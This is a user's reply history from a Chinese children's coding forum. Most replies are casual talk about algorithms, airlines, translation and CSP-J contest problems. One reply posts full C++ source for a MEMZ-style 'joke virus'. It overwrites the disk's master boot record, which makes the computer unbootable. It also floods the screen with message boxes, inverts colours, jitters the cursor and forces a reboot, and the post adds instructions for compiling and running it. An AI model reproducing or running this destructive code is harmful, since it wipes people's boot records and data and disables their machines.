猫史档案馆


PlumSteven

PlumSteven

Lv.1

可以叫PS或Сергей。一只狼但习惯了被群友叫猫猫(?)别人不许叫(

获赞:85收藏:10浏览:472作品收藏:2
回复帖子评论
上一页15 页 / 共 19下一页

【学习笔记】A*算法(文末有个问题,我A*喵循环了怎么办) 中回复

顶一顶,顺便问k短路的启发函数是啥qwq

2023-08-07T19:15:05 点赞:0

【学习笔记】A*算法(文末有个问题,我A*喵循环了怎么办) 中回复

dddd

2023-08-07T21:08:49 点赞:0

【翻译问题】“福瑞”(兽人)翻译问题 中回复

a福瑞不就是furry吗qwq

用baike.baidu.com的话来说,英文中Furry 有“毛绒绒的”的意思,后来才在约定俗成下衍伸出“兽人”、“兽迷”等相关意思。(嗷呜~)

还有那个beastman翻译的什么鬼(我能去揍翻译软件吗)

 

百度翻译兽人是オーク很明显Orc音译过来的,不满足题意

福瑞搜不到,全翻译成”覆盖毛皮的“了

福瑞控甚至能给翻译成Furui Control

 

然后上网查了一下,日语就是ケモノ 

2023-08-10T19:37:56 点赞:0

(灌水)一句话评价楼下的头像 中回复

很黑,冥冥之中看到了某个不该看到的东西,这东西你得盯着他,慢慢逃走,不然你就完蛋了

2023-08-10T19:52:52 点赞:0

【讨论】谁知编程猫是用哪种语言编写出来的?(Java,Python……)???? 中回复

(谁挖的坟?)

后台盲猜Python的Django / Flask / Tornado,嗷呜~

2023-08-11T22:03:19 点赞:0

如何在Python里搞舞台区 中回复

Arcade库是个好东西捏。(bcm Python课游戏那一段用的这个教)

2023-08-17T20:50:24 点赞:0

登上去三亚的飞机 中回复

(1个月后的回复)

我6月底刚回来捏

问问啥航司,啥机型

 

我当时去和回来都是奶航(不会有人不知道奶航=Juneyao Air=吉祥航空吧),空客A320 CEO,机龄好像6.8年

只想吐槽排与排之间间距太小了,脚放不下啊喂(这个人高)

吉祥挺不错,嗯好评

16年也去了一次,Boeing787(唯一坐过的一次波音)(没错其余都是A320和A321),上航的,只记得3小时在飞机上全程好无聊好无聊好无聊

2023-08-27T21:17:07 点赞:0

进程已结束,退出代码为 -1073741819 (0xC0000005) 中回复

我只见过Process exited after 1.469 seconds with return value 3221225477(bushi

emotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_doge

center_imagecenter_image

2023-08-30T20:00:57 点赞:0

C++自制病毒Oops 中回复

来吧给我上去

2023-08-31T20:59:54 点赞:0

C++自制病毒Oops 中回复

请详细解释这份代码的原理,看看谁能答出来

2023-08-31T21:00:35 点赞:0

主项目公告:“中华”号操作系统1.0(官方) 中回复

请问底层程序是指bootLoader和kernel那种东西吗

2023-09-01T21:14:12 点赞:0

公 开 处 刑 中回复

=)

2023-09-02T21:04:25 点赞:0

年龄!!! 中回复

禁止在网上公开个人信息~emotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_dogeemotion_doge

(只是说说没恶意)(狗头保命)

2023-09-02T21:12:32 点赞:2

【Python作品分享】电脑病毒 中回复

送你一串,建议把mainProgramThread线程里面的writeMBR去掉,不然你电脑要废

如何运行:下载Visual Studio(把C++桌面开发装了),新建项目,复制进去F5运行

不过你正常运行应该不会有事,因为writeMBR函数需要管喵权限

#include <Windows.h>
using namespace std;

#define MAX_EXECUTE 5
#define MAX_SOUNDS 3

#pragma comment(lib, "winmm.lib")

HCRYPTPROV prov;
//彩虹猫原版随机函数
int random() {
    if (prov == NULL)
        if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
            ExitProcess(1);
    int out;
    CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));
    return out & 0x7fffffff;
}

LPCWSTR lpExecuteName[MAX_EXECUTE] = {
    L"calc",
    L"cmd",
    L"exlporer",
    L"mspaint",
    L"write"
};

LPCWSTR lpSoundsName[MAX_SOUNDS] = {
    L"SystemHand",
    L"SystemQuestion",
    L"SystemExclamation"
};

void writeMBR() {
        //硬盘文件名
        LPCSTR DiskFileName = "\\\\.\\PhysicalDrive0";
        //主引导记录
        char code[] =
            "你的电脑被Oops毁了!"
            "如果想重新开机,请使用PE系统恢复! ";
        BYTE MBR[512];
        DWORD s = NULL, t = NULL;
        /* 文件句柄 */
        HANDLE handle = NULL;
        //构造MBR
        memcpy(MBR, code, sizeof(code) - 1);
        //打开硬盘
        handle = CreateFileA(
            DiskFileName,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            0,
            OPEN_EXISTING,
            0,
            0);
        if (handle == INVALID_HANDLE_VALUE)
        {
            //打开文件失败
            MessageBoxA(NULL, (LPCSTR)"Can't Create File!", (LPCSTR)"error", MB_OK);
            return;
        }
        else {
            //写入新的MBR
            WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
            DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
            CloseHandle(handle);//关闭文件
            MessageBoxA(NULL, (LPCSTR)"successful", (LPCSTR)"ok", MB_OK);
            return;
        }
        return;
}

void openRandomProgram() {
    HWND desktop = GetDesktopWindow();
    ShellExecute(desktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}

void shakeCursor() {
    POINT cursor;
    const int cursor_freq = 0;
    GetCursorPos(&cursor);
    SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)));
}

void colorReverse() {
    HWND desktop = GetDesktopWindow();
    HDC hdc = GetWindowDC(desktop);
    RECT rectd;
    GetWindowRect(desktop,& rectd);
    BitBlt(hdc, 0, 0, rectd.right - rectd.left, rectd.bottom - rectd.top, hdc, 0, 0, NOTSRCCOPY);
    ReleaseDC(desktop, hdc);
}

void errorSound() {
    PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}


void PlayloadIcon()
{
    int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
    int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hDesktop = GetDesktopWindow();
    HDC hdc = GetWindowDC(hDesktop);
    POINT cursor;
    GetCursorPos(&cursor);
    DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
}

DWORD WINAPI messageThread(LPVOID lpParameter){
    MessageBox(NULL, L"Oops!", L"Oops", MB_OKCANCEL+16);
    return 0;
}

DWORD WINAPI moveMessageThread(LPVOID lpParameter) {
    int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
    int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hwnd = GetForegroundWindow();
    RECT rect;
    GetWindowRect(hwnd, &rect);
    MoveWindow(hwnd, random() % iDesktopWidth, random() % iDesktopHeight, rect.right - rect.left, rect.bottom - rect.top, TRUE);
    return 0;
}

DWORD WINAPI shakeCursorThread(LPVOID lpParameter) {
    while (TRUE) {
        shakeCursor();
    }
    return 0;
}

DWORD WINAPI printIconThread(LPVOID lpParameter) {
    while (TRUE) {
        PlayloadIcon();
    }
}

DWORD WINAPI otherThread(LPVOID lpParameter) {
    while (TRUE) {
        colorReverse();
        errorSound();
        Sleep(1000);
    }
    return 0;
}

DWORD WINAPI mainProgramThread(LPVOID lpParameter) {
    writeMBR();
    Sleep(20000);
    for(int i=0;i<10;i++)
        openRandomProgram();
    Sleep(15000);
    HANDLE mainThread, cursorThread, boxThreads[10001], moveThreads[10001], icoThread;
    cursorThread = CreateThread(NULL, 0, shakeCursorThread, NULL, 0, NULL);
    Sleep(20000);
    mainThread = CreateThread(NULL, 0, otherThread, NULL, 0, NULL);
    Sleep(5000);
    icoThread = CreateThread(NULL, 0, printIconThread, NULL, 0, NULL);
    int cnt = 0;
    while(1) {
        boxThreads[cnt] = CreateThread(NULL, 0, messageThread, NULL, 0, NULL);
        moveThreads[cnt++] = CreateThread(NULL, 0, moveMessageThread, NULL, 0, NULL);
        Sleep(500);
    }
    return 0;
}

//不要管这个
DWORD WINAPI waitForBSOD(LPVOID lpParameter) {
    Sleep(90000);
    system("reboot");
    return 0;
}

DWORD WINAPI mainProgram(LPVOID lpParameter) {
    HANDLE mainp, waitp;
    mainp = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
    waitp = CreateThread(NULL, 0, waitForBSOD, NULL, 0, NULL);//也不要管这个
    while (1) {}
    return 0;
}

int main()
{
 //   openRandomProgram();
    int first_request = MessageBox(NULL, L"您确定要运行这个程序吗?\n请注意!本程序可能会损害您的电脑!\n若造成损失,作者一律不负责!", L"注意事项", MB_YESNO+16);
    if (first_request == IDNO) return 0;
    int second_request = MessageBox(NULL, L"最后一次警告!您确定要运行这个程序吗!\n本程序可能会损害您的电脑!造成文件丢失!\n您真的想运行吗?", L"注意事项", MB_YESNO+16);
    if (second_request == IDNO) return 0;
    HANDLE mainThread, cursorThread;
    mainThread = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
    WaitForSingleObject(mainThread, INFINITE);

 //   CloseHandle(mainThread);
//    CloseHandle(cursorThread);
    return 0;
}

2023-09-02T21:18:18 点赞:0

【神奇代码岛】天州市城投:天州市江南国际机场正在施工中! 中回复

芜~其实我也想建个机场来着但场地有亿点点小当时

2023-09-23T13:33:16 点赞:0

【神岛小调研】你们最需要什么教程? 中回复

音乐编辑器:我是不是被阿吉抛弃了

2023-09-23T14:05:34 点赞:2

【神岛小调研】你们最想要什么周边? 中回复

阿吉能不能先关心一下n年没鸽的音乐编辑器啊!

2023-09-23T14:06:19 点赞:0

CSP-J初赛2023部分题目思路分享(选择题&程序阅读部分) 中回复

文中的海喵式表示海伦、、、、、、公式

什么奇怪屏蔽词

2023-09-23T16:20:06 点赞:0

APM国庆节活动 中回复

为什么我想到的是:广州地铁APM线

2023-09-23T18:05:09 点赞:0

CSP-J初赛2023部分题目思路分享(选择题&程序阅读部分) 中回复

合着没人在意我写的解题思路是么QAQ

2023-09-23T20:31:06 点赞:0

描述你玩的游戏的玩法,让别人猜 中回复

asdf移动

enter/z/space 交互

shift+方向可以奔跑。

万一碰到一些奇奇怪怪的东西或者某个玩意对你的好感不够等一系列情况......你就只能恢复存档啦~

橙色+白色的有可能是存档机,也有可能嗯。。。。。是某些玄学的东西

有boss,但。。。。嗯。。。怎么说呢,就是嗯。。。让人很想冲上去rua的那种(尤其某只灰色的玩意)

出生点那个下水道交互(还是按d来着)可以直接通关哎~

2023-09-23T21:14:25 点赞:1

接龙)()()()( 中回复

重启世界是吧。

那我来:突然变成了一只狼兽人。(bushi

呃不要想成那种写实的,かわいい的那种(指日系)

2023-09-23T22:28:54 点赞:0

CSP-J初赛2023部分题目思路分享(选择题&程序阅读部分) 中回复

我顶

2023-09-24T10:14:03 点赞:0

CSP-J2023初赛部分题目思路分享(完善程序部分) 中回复

这空大家画几个例子分析一下就行了,left表达的是缺失的后一个值

这句解析有点点问题,left改为nums[left]

2023-09-24T10:15:16 点赞:0

CSP-J2023初赛部分题目思路分享(完善程序部分) 中回复

ddd

2023-09-24T14:47:28 点赞:0

CSP-J初赛2023部分题目思路分享(选择题&程序阅读部分) 中回复

100浏览!

2023-09-24T21:23:19 点赞:0

【神奇代码岛】天州市城投:天州市江南国际机场正在施工中! 中回复

这边请问一下,江南是指江苏还是浙江(好吧大概是以杭州萧山为原型是吧)

我只去过苏南硕放qwq

2023-09-24T22:06:54 点赞:0

吉吉喵邀请你一起共创《神岛游乐园》 中回复

阿吉为啥我之前有代码师的,现在没了

2023-09-25T19:47:14 点赞:0

国庆音乐创作节【简介】 中回复

如果有想参加的请回复下谢谢qwq

2023-09-26T21:54:15 点赞:1

CSP-J复赛个人解题思路 中回复

题目描述

小 Y 的桌子上放着 n 个苹果从左到右排成一列,编号为从 1 到 n。

小苞是小 Y 的好朋友,每天她都会从中拿走一些苹果。

每天在拿的时候,小苞都是从左侧第 1 个苹果开始、每隔 2 个苹果拿走 1 个苹果。随后小苞会将剩下的苹果按原先的顺序重新排成一列。

小苞想知道,多少天能拿完所有的苹果,而编号为 n 的苹果是在第几天被拿走的?

输入格式

输入的第一行包含一个正整数 n,表示苹果的总数。

输出格式

输出一行包含两个正整数,两个整数之间由一个空格隔开,分别表示小苞拿走所有苹果所需的天数以及拿走编号为 n 的苹果是在第几天。

输入输出样例 

输入 #1

8

输出 #1

5 5

说明/提示

【样例 1 解释】

小苞的桌上一共放了 8 个苹果。
小苞第一天拿走了编号为 1、4、7 的苹果。
小苞第二天拿走了编号为 2、6 的苹果。
小苞第三天拿走了编号为 3 的苹果。
小苞第四天拿走了编号为 5 的苹果。
小苞第五天拿走了编号为 8 的苹果。

【样例 2】

见选手目录下的 apple/apple2.in 与 apple/apple2.ans。

【数据范围】

对于所有测试数据有:1≤n≤10^9

测试点         n≤      特殊性质 

1∼2            10         

3∼5           10^3     无 

6∼7           10^6     有

8∼9           10^6     无 

10              10^9     无

特殊性质:小苞第一天就取走编号为 n 的苹果。

2023-10-21T15:16:48 点赞:0